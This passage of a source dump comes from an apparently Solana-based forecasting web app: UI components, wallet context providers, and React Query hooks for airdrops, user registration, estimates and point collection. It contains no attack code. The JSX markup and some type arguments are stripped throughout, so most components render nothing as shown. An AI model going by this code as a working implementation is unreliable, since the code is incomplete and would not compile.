>(({ className, ...props }, ref) => (
| [role=checkbox]]:translate-y-[2px]",
className
)}
{...props}
/>
))
TableCell.displayName = "TableCell"
const TableCaption = React.forwardRef<
HTMLTableCaptionElement,
React.HTMLAttributes
>(({ className, ...props }, ref) => (
))
TableCaption.displayName = "TableCaption"
export {
Table,
TableHeader,
TableBody,
TableFooter,
TableHead,
TableRow,
TableCell,
TableCaption,
}
================================================
FILE: components/ui/tabs.tsx
================================================
"use client"
import * as React from "react"
import * as TabsPrimitive from "@radix-ui/react-tabs"
import { cn } from "@/lib/utils"
const Tabs = TabsPrimitive.Root
const TabsList = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
TabsList.displayName = TabsPrimitive.List.displayName
const TabsTrigger = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
TabsTrigger.displayName = TabsPrimitive.Trigger.displayName
const TabsContent = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
TabsContent.displayName = TabsPrimitive.Content.displayName
export { Tabs, TabsList, TabsTrigger, TabsContent }
================================================
FILE: components/ui/theme-provider.tsx
================================================
"use client";
import * as React from "react";
import { ThemeProvider as NextThemesProvider } from "next-themes";
import { type ThemeProviderProps } from "next-themes/dist/types";
export function ThemeProvider({ children, ...props }: ThemeProviderProps) {
return {children};
}
================================================
FILE: components/ui/toast.tsx
================================================
"use client"
import * as React from "react"
import { Cross2Icon } from "@radix-ui/react-icons"
import * as ToastPrimitives from "@radix-ui/react-toast"
import { cva, type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
const ToastProvider = ToastPrimitives.Provider
const ToastViewport = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
ToastViewport.displayName = ToastPrimitives.Viewport.displayName
const toastVariants = cva(
"group pointer-events-auto relative flex w-full items-center justify-between space-x-2 overflow-hidden rounded-md border p-4 pr-6 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full",
{
variants: {
variant: {
default: "border bg-background text-foreground",
destructive:
"destructive group border-destructive bg-destructive text-destructive-foreground",
},
},
defaultVariants: {
variant: "default",
},
}
)
const Toast = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef &
VariantProps
>(({ className, variant, ...props }, ref) => {
return (
)
})
Toast.displayName = ToastPrimitives.Root.displayName
const ToastAction = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
ToastAction.displayName = ToastPrimitives.Action.displayName
const ToastClose = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
ToastClose.displayName = ToastPrimitives.Close.displayName
const ToastTitle = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
ToastTitle.displayName = ToastPrimitives.Title.displayName
const ToastDescription = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, ...props }, ref) => (
))
ToastDescription.displayName = ToastPrimitives.Description.displayName
type ToastProps = React.ComponentPropsWithoutRef
type ToastActionElement = React.ReactElement
export {
type ToastProps,
type ToastActionElement,
ToastProvider,
ToastViewport,
Toast,
ToastTitle,
ToastDescription,
ToastClose,
ToastAction,
}
================================================
FILE: components/ui/toaster.tsx
================================================
"use client"
import {
Toast,
ToastClose,
ToastDescription,
ToastProvider,
ToastTitle,
ToastViewport,
} from "@/components/ui/toast"
import { useToast } from "@/components/ui/use-toast"
export function Toaster() {
const { toasts } = useToast()
return (
{toasts.map(function ({ id, title, description, action, ...props }) {
return (
{title && {title}}
{description && (
{description}
)}
{action}
)
})}
)
}
================================================
FILE: components/ui/tooltip.tsx
================================================
"use client";
import * as React from "react";
import * as TooltipPrimitive from "@radix-ui/react-tooltip";
import { cn } from "@/lib/utils";
const TooltipProvider = TooltipPrimitive.Provider;
const Tooltip = TooltipPrimitive.Root;
const TooltipTrigger = TooltipPrimitive.Trigger;
const TooltipContent = React.forwardRef<
React.ElementRef,
React.ComponentPropsWithoutRef
>(({ className, sideOffset = 4, ...props }, ref) => (
));
TooltipContent.displayName = TooltipPrimitive.Content.displayName;
export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };
================================================
FILE: components/ui/use-toast.ts
================================================
"use client"
// Inspired by react-hot-toast library
import * as React from "react"
import type {
ToastActionElement,
ToastProps,
} from "@/components/ui/toast"
const TOAST_LIMIT = 1
const TOAST_REMOVE_DELAY = 1000000
type ToasterToast = ToastProps & {
id: string
title?: React.ReactNode
description?: React.ReactNode
action?: ToastActionElement
}
const actionTypes = {
ADD_TOAST: "ADD_TOAST",
UPDATE_TOAST: "UPDATE_TOAST",
DISMISS_TOAST: "DISMISS_TOAST",
REMOVE_TOAST: "REMOVE_TOAST",
} as const
let count = 0
function genId() {
count = (count + 1) % Number.MAX_SAFE_INTEGER
return count.toString()
}
type ActionType = typeof actionTypes
type Action =
| {
type: ActionType["ADD_TOAST"]
toast: ToasterToast
}
| {
type: ActionType["UPDATE_TOAST"]
toast: Partial
}
| {
type: ActionType["DISMISS_TOAST"]
toastId?: ToasterToast["id"]
}
| {
type: ActionType["REMOVE_TOAST"]
toastId?: ToasterToast["id"]
}
interface State {
toasts: ToasterToast[]
}
const toastTimeouts = new Map>()
const addToRemoveQueue = (toastId: string) => {
if (toastTimeouts.has(toastId)) {
return
}
const timeout = setTimeout(() => {
toastTimeouts.delete(toastId)
dispatch({
type: "REMOVE_TOAST",
toastId: toastId,
})
}, TOAST_REMOVE_DELAY)
toastTimeouts.set(toastId, timeout)
}
export const reducer = (state: State, action: Action): State => {
switch (action.type) {
case "ADD_TOAST":
return {
...state,
toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),
}
case "UPDATE_TOAST":
return {
...state,
toasts: state.toasts.map((t) =>
t.id === action.toast.id ? { ...t, ...action.toast } : t
),
}
case "DISMISS_TOAST": {
const { toastId } = action
// ! Side effects ! - This could be extracted into a dismissToast() action,
// but I'll keep it here for simplicity
if (toastId) {
addToRemoveQueue(toastId)
} else {
state.toasts.forEach((toast) => {
addToRemoveQueue(toast.id)
})
}
return {
...state,
toasts: state.toasts.map((t) =>
t.id === toastId || toastId === undefined
? {
...t,
open: false,
}
: t
),
}
}
case "REMOVE_TOAST":
if (action.toastId === undefined) {
return {
...state,
toasts: [],
}
}
return {
...state,
toasts: state.toasts.filter((t) => t.id !== action.toastId),
}
}
}
const listeners: Array<(state: State) => void> = []
let memoryState: State = { toasts: [] }
function dispatch(action: Action) {
memoryState = reducer(memoryState, action)
listeners.forEach((listener) => {
listener(memoryState)
})
}
type Toast = Omit
function toast({ ...props }: Toast) {
const id = genId()
const update = (props: ToasterToast) =>
dispatch({
type: "UPDATE_TOAST",
toast: { ...props, id },
})
const dismiss = () => dispatch({ type: "DISMISS_TOAST", toastId: id })
dispatch({
type: "ADD_TOAST",
toast: {
...props,
id,
open: true,
onOpenChange: (open) => {
if (!open) dismiss()
},
},
})
return {
id: id,
dismiss,
update,
}
}
function useToast() {
const [state, setState] = React.useState(memoryState)
React.useEffect(() => {
listeners.push(setState)
return () => {
const index = listeners.indexOf(setState)
if (index > -1) {
listeners.splice(index, 1)
}
}
}, [state])
return {
...state,
toast,
dismiss: (toastId?: string) => dispatch({ type: "DISMISS_TOAST", toastId }),
}
}
export { useToast, toast }
================================================
FILE: components.json
================================================
{
"$schema": "https://ui.shadcn.com/schema.json",
"style": "new-york",
"rsc": true,
"tsx": true,
"tailwind": {
"config": "tailwind.config.ts",
"css": "app/globals.css",
"baseColor": "slate",
"cssVariables": true,
"prefix": ""
},
"aliases": {
"components": "@/components",
"utils": "@/lib/utils"
}
}
================================================
FILE: contexts/AutoConnectProvider.tsx
================================================
"use client";
import { useLocalStorage } from "@solana/wallet-adapter-react";
import { createContext, FC, ReactNode, useContext } from "react";
export interface AutoConnectContextState {
autoConnect: boolean;
setAutoConnect(autoConnect: boolean): void;
}
export const AutoConnectContext = createContext(
{} as AutoConnectContextState
);
export function useAutoConnect(): AutoConnectContextState {
return useContext(AutoConnectContext);
}
export const AutoConnectProvider: FC<{ children: ReactNode }> = ({
children,
}) => {
// TODO: fix auto connect to actual reconnect on refresh/other.
// TODO: make switch/slider settings
// const [autoConnect, setAutoConnect] = useLocalStorage('autoConnect', false);
const [autoConnect, setAutoConnect] = useLocalStorage("autoConnect", true);
return (
{children}
);
};
================================================
FILE: contexts/ContextProvider.tsx
================================================
"use client";
import { WalletAdapterNetwork } from "@solana/wallet-adapter-base";
import {
ConnectionProvider,
WalletProvider,
} from "@solana/wallet-adapter-react";
import {
PhantomWalletAdapter,
SolflareWalletAdapter,
} from "@solana/wallet-adapter-wallets";
import { clusterApiUrl } from "@solana/web3.js";
import { ComponentType, FC, ReactNode, useMemo } from "react";
import { AutoConnectProvider, useAutoConnect } from "./AutoConnectProvider";
import {
NetworkConfigurationProvider,
useNetworkConfiguration,
} from "./NetworkConfigurationProvider";
import dynamic from "next/dynamic";
import { Toaster } from "@/components/ui/toaster";
const ReactUIWalletModalProviderDynamic: ComponentType<{
children: ReactNode;
}> = dynamic(
async () =>
(await import("@solana/wallet-adapter-react-ui")).WalletModalProvider,
{ ssr: false }
);
const WalletContextProvider: FC<{ children: ReactNode }> = ({ children }) => {
const { autoConnect } = useAutoConnect();
const { networkConfiguration } = useNetworkConfiguration();
const network = networkConfiguration as WalletAdapterNetwork;
const endpoint = useMemo(() => clusterApiUrl(network), [network]);
const wallets = useMemo(
() => [new SolflareWalletAdapter(), new PhantomWalletAdapter()],
// eslint-disable-next-line react-hooks/exhaustive-deps
[network]
);
return (
{children}
);
};
export const ContextProvider: FC<{ children: ReactNode }> = ({ children }) => {
return (
<>
{children}
>
);
};
================================================
FILE: contexts/NetworkConfigurationProvider.tsx
================================================
"use client";
import { useLocalStorage } from "@solana/wallet-adapter-react";
import { createContext, FC, ReactNode, useContext } from "react";
export interface NetworkConfigurationState {
networkConfiguration: string;
setNetworkConfiguration(networkConfiguration: string): void;
}
export const NetworkConfigurationContext =
createContext({} as NetworkConfigurationState);
export function useNetworkConfiguration(): NetworkConfigurationState {
return useContext(NetworkConfigurationContext);
}
export const NetworkConfigurationProvider: FC<{ children: ReactNode }> = ({
children,
}) => {
const [networkConfiguration, setNetworkConfiguration] = useLocalStorage(
"network",
"devnet"
);
return (
{children}
);
};
================================================
FILE: errors/NoUserAccountError.ts
================================================
export class NoUserAccountError extends Error {
constructor(message: string) {
super(message);
this.name = "No User Account!";
}
}
================================================
FILE: errors/WalletNotConnectedError.ts
================================================
export class WalletNotConnectedError extends Error {
constructor(message: string) {
super(message);
this.name = "Wallet not connected!";
}
}
================================================
FILE: hooks/mutations/useAirdropSol.tsx
================================================
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, LAMPORTS_PER_SOL } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { useToast } from "@/components/ui/use-toast";
import {
connectWalletText,
transactionSuccessfullText,
} from "@/texts/toastTitles";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
const airdropSol = async (
connection: Connection,
wallet: WalletContextState
) => {
if (!wallet.publicKey) {
throw new WalletNotConnectedError(connectWalletText);
}
const [latestBlockhash, signature] = await Promise.all([
connection.getLatestBlockhash(),
connection.requestAirdrop(wallet.publicKey, 1 * LAMPORTS_PER_SOL),
]);
await connection.confirmTransaction(
{ signature, ...latestBlockhash },
"confirmed"
);
};
const useAirdropSol = (connection: Connection, wallet: WalletContextState) => {
const queryClient = useQueryClient();
const { toast } = useToast();
return useMutation({
mutationFn: () => airdropSol(connection, wallet),
onSuccess: () => {
toast({
variant: "default",
title: transactionSuccessfullText,
description: "Airdrop was confirmed",
});
queryClient.invalidateQueries({
queryKey: [userSolBalanceKey],
});
},
onError: (e) => {
toast({
variant: "destructive",
title: e.name,
description: e.message,
});
},
});
};
export { useAirdropSol };
================================================
FILE: hooks/mutations/useCollectPoints.ts
================================================
import { Poe } from "@/idl/poe";
import { BN, Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userAccountKey } from "../queries/useUserAccount";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { pollByIdKey } from "../queries/usePollById";
import { userScoreKey } from "../queries/useUserScore";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { useToast } from "@/components/ui/use-toast";
import {
connectWalletText,
transactionSuccessfullText,
} from "@/texts/toastTitles";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";
import { getAssociatedTokenAddress } from "@solana/spl-token";
import { allPollsByUserKey } from "../queries/useAllPollsByUser";
import { allUserAccounts } from "../queries/useAllUserAccounts";
import { userBonkBalanceKey } from "../queries/useUserBonkBalance";
const collectPoints = async (
program: Program,
connection: Connection,
wallet: WalletContextState,
pollId: number
) => {
if (!wallet.publicKey) {
throw new WalletNotConnectedError(connectWalletText);
}
let [userPda] = PublicKey.findProgramAddressSync(
[Buffer.from("user"), wallet.publicKey.toBuffer()],
program.programId
);
const [pollPda] = PublicKey.findProgramAddressSync(
[Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
program.programId
);
let [userPredictionPda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_estimate"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
],
program.programId
);
let [scoreListPda] = PublicKey.findProgramAddressSync(
[Buffer.from("scoring_list"), pollPda.toBuffer()],
program.programId
);
let [userScorePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_score"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
],
program.programId
);
let [mintPda, mintBump] = PublicKey.findProgramAddressSync(
[Buffer.from("poeken_mint")],
program.programId
);
let [escrowPda, _escrowBump] = PublicKey.findProgramAddressSync(
[Buffer.from("escrow")],
program.programId
);
const tokenAccountAddress = await getAssociatedTokenAddress(
mintPda,
wallet.publicKey
);
const registerUserInstruction = await program.methods
.collectPoints()
.accountsPartial({
user: userPda,
forecaster: wallet.publicKey,
poll: pollPda,
userEstimate: userPredictionPda,
scoringList: scoreListPda,
userScore: userScorePda,
mint: mintPda,
escrowAccount: escrowPda,
forecasterTokenAccount: tokenAccountAddress,
})
.instruction();
await sendVersionedTransaction([registerUserInstruction], wallet, connection);
};
const useCollectPoints = (
program: Program,
connection: Connection,
wallet: WalletContextState
) => {
const queryClient = useQueryClient();
const { toast } = useToast();
return useMutation({
mutationFn: ({ pollId }: { pollId: number }) =>
collectPoints(program, connection, wallet, pollId),
onSuccess: (_, variables) => {
toast({
variant: "default",
title: transactionSuccessfullText,
description: "Points collected.",
});
queryClient.invalidateQueries({
queryKey: [
userAccountKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [allPollsByUserKey, wallet.publicKey?.toBase58()],
});
queryClient.invalidateQueries({
queryKey: [pollByIdKey, variables.pollId],
});
queryClient.invalidateQueries({
queryKey: [
userScoreKey,
variables.pollId,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [allUserAccounts],
});
queryClient.invalidateQueries({
queryKey: [
userAccountKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [
userSolBalanceKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [
userBonkBalanceKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
},
onError: (e) => {
toast({ variant: "destructive", title: e.name, description: e.message });
},
});
};
export { useCollectPoints };
================================================
FILE: hooks/mutations/useMakeEstimate.tsx
================================================
import React from "react";
import { Poe } from "@/idl/poe";
import { BN, Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey, TransactionInstruction } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { pollByIdKey } from "../queries/usePollById";
import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar";
import { useToast } from "@/components/ui/use-toast";
import { NoUserAccountError } from "@/errors/NoUserAccountError";
import { ToastAction } from "@/components/ui/toast";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import {
connectWalletText,
transactionSuccessfullText,
} from "@/texts/toastTitles";
import { useWalletModal } from "@solana/wallet-adapter-react-ui";
import { userAccountKey } from "../queries/useUserAccount";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";
import { getAssociatedTokenAddress } from "@solana/spl-token";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { userScoreKey } from "../queries/useUserScore";
import { userEstimateKey } from "../queries/useUserEstimateByPoll";
import { useRegisterUser } from "./useRegisterUser";
const makeEstimate = async (
program: Program,
connection: Connection,
wallet: WalletContextState,
pollId: number,
lowerEstimate: number | undefined,
upperEstimate: number | undefined
) => {
if (!wallet.publicKey) {
throw new WalletNotConnectedError(connectWalletText);
}
let [userPda] = PublicKey.findProgramAddressSync(
[Buffer.from("user"), wallet.publicKey.toBuffer()],
program.programId
);
const userAccount = await connection.getAccountInfo(userPda);
const [pollPda] = PublicKey.findProgramAddressSync(
[Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
program.programId
);
let pollAccount = await program.account.poll.fetch(pollPda);
let [userEstimatePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_estimate"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
],
program.programId
);
let [userEstimateUpdatePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_estimate_update"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
new BN(0).toArrayLike(Buffer, "le", 8),
],
program.programId
);
let [estimateUpdatePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("poll_estimate_update"),
pollPda.toBuffer(),
pollAccount.numEstimateUpdates.toArrayLike(Buffer, "le", 8),
],
program.programId
);
let [scoreListPda] = PublicKey.findProgramAddressSync(
[Buffer.from("scoring_list"), pollPda.toBuffer()],
program.programId
);
let [userScorePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_score"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
],
program.programId
);
let [mintPda, _mintBump] = PublicKey.findProgramAddressSync(
[Buffer.from("poeken_mint")],
program.programId
);
const forecasterTokenAccountAddress = await getAssociatedTokenAddress(
mintPda,
wallet.publicKey
);
let [escrowPda, _escrowBump] = PublicKey.findProgramAddressSync(
[Buffer.from("escrow")],
program.programId
);
const makeEstimateInstruction = await program.methods
.makeEstimate(
lowerEstimate !== undefined ? lowerEstimate : 0,
upperEstimate !== undefined ? upperEstimate : 0
)
.accountsPartial({
user: userPda,
poll: pollPda,
userEstimate: userEstimatePda,
// userEstimateUpdate: userEstimateUpdatePda,
pollEstimateUpdate: estimateUpdatePda,
scoringList: scoreListPda,
userScore: userScorePda,
forecasterTokenAccount: forecasterTokenAccountAddress,
mint: mintPda,
escrowAccount: escrowPda,
})
.instruction();
let instructions: TransactionInstruction[] = [];
if (userAccount === null) {
const registerUserInstruction = await program.methods
.registerUser()
.accountsPartial({
user: userPda,
mint: mintPda,
tokenAccount: forecasterTokenAccountAddress,
})
.instruction();
instructions = [registerUserInstruction, makeEstimateInstruction];
} else {
instructions = [makeEstimateInstruction];
}
await sendVersionedTransaction(instructions, wallet, connection);
};
const useMakeEstimate = (
program: Program,
connection: Connection,
wallet: WalletContextState
) => {
const queryClient = useQueryClient();
const { toast } = useToast();
const { mutate: registerUser } = useRegisterUser(program, connection, wallet);
const { setVisible } = useWalletModal();
return useMutation({
mutationFn: ({
pollId,
lowerEstimate,
upperEstimate,
}: {
pollId: number;
lowerEstimate: number | undefined;
upperEstimate: number | undefined;
}) =>
makeEstimate(
program,
connection,
wallet,
pollId,
lowerEstimate,
upperEstimate
),
onSuccess: (_, variables) => {
toast({
variant: "default",
title: transactionSuccessfullText,
description: "Estimate is submitted.",
});
queryClient.invalidateQueries({
queryKey: [pollByIdKey, variables.pollId],
});
queryClient.invalidateQueries({
queryKey: [
userEstimateKey,
variables.pollId,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [
userScoreKey,
variables.pollId,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [
userSolBalanceKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [
userAccountKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
},
onError: (e) => {
if (e instanceof NoUserAccountError) {
toast({
variant: "destructive",
title: e.name,
description: (
Av
Please create a user account first.
),
action: (
registerUser()}
>
Create Account
),
duration: 8000,
});
} else if (e instanceof WalletNotConnectedError) {
toast({
variant: "destructive",
title: e.name,
description: e.message,
action: (
setVisible(true)}
>
Connect Wallet
),
duration: 8000,
});
} else {
toast({
variant: "destructive",
title: e.name,
description: e.message,
});
}
},
});
};
export { useMakeEstimate };
================================================
FILE: hooks/mutations/useRegisterUser.tsx
================================================
import { Poe } from "@/idl/poe";
import { Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey } from "@solana/web3.js";
import { getAssociatedTokenAddress } from "@solana/spl-token";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userAccountKey } from "../queries/useUserAccount";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { useToast } from "@/components/ui/use-toast";
import {
connectWalletText,
transactionSuccessfullText,
} from "@/texts/toastTitles";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";
import { allUserAccounts } from "../queries/useAllUserAccounts";
const registerUser = async (
program: Program,
connection: Connection,
wallet: WalletContextState
) => {
if (!wallet.publicKey) {
throw new WalletNotConnectedError(connectWalletText);
}
let [userPda] = PublicKey.findProgramAddressSync(
[Buffer.from("user"), wallet.publicKey.toBuffer()],
program.programId
);
let [mintPda, mintBump] = PublicKey.findProgramAddressSync(
[Buffer.from("poeken_mint")],
program.programId
);
const tokenAccountAddress = await getAssociatedTokenAddress(
mintPda,
wallet.publicKey
);
const registerUserInstruction = await program.methods
.registerUser()
.accountsPartial({
user: userPda,
mint: mintPda,
tokenAccount: tokenAccountAddress,
})
.instruction();
await sendVersionedTransaction([registerUserInstruction], wallet, connection);
};
const useRegisterUser = (
program: Program,
connection: Connection,
wallet: WalletContextState
) => {
const queryClient = useQueryClient();
const { toast } = useToast();
return useMutation({
mutationFn: () => registerUser(program, connection, wallet),
onSuccess: () => {
toast({
variant: "default",
title: transactionSuccessfullText,
description: "User is registered.",
});
queryClient.invalidateQueries({
queryKey: [
userAccountKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [allUserAccounts],
});
queryClient.invalidateQueries({
queryKey: [
userSolBalanceKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
},
onError: (e) => {
toast({
variant: "destructive",
title: e.name,
description: e.message,
});
},
});
};
export { useRegisterUser };
================================================
FILE: hooks/mutations/useUpdateEstimate.ts
================================================
import { Poe } from "@/idl/poe";
import { BN, Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { userEstimateKey } from "../queries/useUserEstimateByPoll";
import { pollByIdKey } from "../queries/usePollById";
import { userScoreKey } from "../queries/useUserScore";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { useToast } from "@/components/ui/use-toast";
import {
connectWalletText,
transactionSuccessfullText,
} from "@/texts/toastTitles";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";
const updateEstimate = async (
program: Program,
connection: Connection,
wallet: WalletContextState,
pollId: number,
lowerEstimate: number | undefined,
upperEstimate: number | undefined
) => {
if (!wallet.publicKey) {
throw new WalletNotConnectedError(connectWalletText);
}
const [pollPda] = PublicKey.findProgramAddressSync(
[Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
program.programId
);
let pollAccount = await program.account.poll.fetch(pollPda);
let [userEstimatePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_estimate"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
],
program.programId
);
let userEstimateAccount = await program.account.userEstimate.fetch(
userEstimatePda
);
let [userEstimateUpdatePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_estimate_update"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
userEstimateAccount.numEstimateUpdates.toArrayLike(Buffer, "le", 8),
],
program.programId
);
let [estimateUpdatePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("poll_estimate_update"),
pollPda.toBuffer(),
pollAccount.numEstimateUpdates.toArrayLike(Buffer, "le", 8),
],
program.programId
);
let [scoreListPda] = PublicKey.findProgramAddressSync(
[Buffer.from("scoring_list"), pollPda.toBuffer()],
program.programId
);
let [userScorePda] = PublicKey.findProgramAddressSync(
[
Buffer.from("user_score"),
pollPda.toBuffer(),
wallet.publicKey.toBuffer(),
],
program.programId
);
const updateEstimateInstruction = await program.methods
.updateEstimate(
lowerEstimate !== undefined ? lowerEstimate : 0,
upperEstimate !== undefined ? upperEstimate : 0
)
.accountsPartial({
poll: pollPda,
userEstimate: userEstimatePda,
userEstimateUpdate: userEstimateUpdatePda,
estimateUpdate: estimateUpdatePda,
scoringList: scoreListPda,
userScore: userScorePda,
})
.instruction();
await sendVersionedTransaction(
[updateEstimateInstruction],
wallet,
connection
);
};
const useUpdateEstimate = (
program: Program,
connection: Connection,
wallet: WalletContextState
) => {
const queryClient = useQueryClient();
const { toast } = useToast();
return useMutation({
mutationFn: ({
pollId,
lowerEstimate,
upperEstimate,
}: {
pollId: number;
lowerEstimate: number | undefined;
upperEstimate: number | undefined;
}) =>
updateEstimate(
program,
connection,
wallet,
pollId,
lowerEstimate,
upperEstimate
),
onSuccess: (_, variables) => {
toast({
variant: "default",
title: transactionSuccessfullText,
description: "Estimate updated.",
});
queryClient.invalidateQueries({
queryKey: [
userEstimateKey,
variables.pollId,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [pollByIdKey, variables.pollId],
});
queryClient.invalidateQueries({
queryKey: [
userScoreKey,
variables.pollId,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
queryClient.invalidateQueries({
queryKey: [
userSolBalanceKey,
connection.rpcEndpoint,
wallet.publicKey?.toBase58() || "",
],
});
},
onError: (e) => {
toast({
variant: "destructive",
title: e.name,
description: e.message,
});
},
});
};
export { useUpdateEstimate };
================================================
FILE: hooks/queries/useAllPolls.ts
================================================
import { keepPreviousData, useQuery } from "@tanstack/react-query";
import { Program } from "@coral-xyz/anchor";
import { Poll } from "@/lib/types";
import { Poe } from "@/idl/poe";
const allPollsKey = "allPolls";
const getAllPolls = async (program: Program) => {
const polls = await program.account.poll.all();
return polls
.filter(
(poll) =>
poll.account.creator.toBase58() ===
"3aSqvNz5XuBkudHZLZZSfio3Hd6nxEEzUWSwvggWWDR1"
)
.sort((a, b) => a.account.id - b.account.id)
.map((poll) => poll.account) as unknown as Poll[];
};
const useAllPolls = (program: Program) => {
return useQuery({
queryKey: [allPollsKey],
queryFn: async () => await getAllPolls(program),
enabled: !!program,
placeholderData: keepPreviousData,
});
};
export { useAllPolls, allPollsKey };
================================================
FILE: hooks/queries/useAllPollsByUser.ts
================================================
import { keepPreviousData, useQuery } from "@tanstack/react-query";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
import { PublicKey } from "@solana/web3.js";
import { useAllUserPredictions } from "./useAllUserPredictions";
import { Poll } from "@/lib/types";
const allPollsByUserKey = "allPollsByUser";
const getAllPollsByUser = async (
program: Program,
addresses: PublicKey[] | undefined
) => {
if (addresses !== undefined) {
return (await program.account.poll.fetchMultiple(
addresses
)) as unknown as Poll[];
} else {
return [] as Poll[];
}
};
const useAllPollsByUser = (
program: Program,
publicKey: PublicKey | null
) => {
const { data: userPredictions } = useAllUserPredictions(program, publicKey);
const userPollAddresses = userPredictions?.map(
(userPrediction) => userPrediction.account.poll
);
return useQuery({
queryKey: [
allPollsByUserKey,
publicKey?.toBase58(),
userPollAddresses?.length,
],
queryFn: async () => await getAllPollsByUser(program, userPollAddresses),
enabled: !!program && !!userPredictions,
placeholderData: keepPreviousData,
});
};
export { useAllPollsByUser, getAllPollsByUser, allPollsByUserKey };
================================================
FILE: hooks/queries/useAllUserAccounts.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
import { UserAccount } from "@/lib/types";
const allUserAccounts = "allUserAccounts";
const getAllUserPredictions = async (program: Program) => {
const accounts = await program.account.user.all();
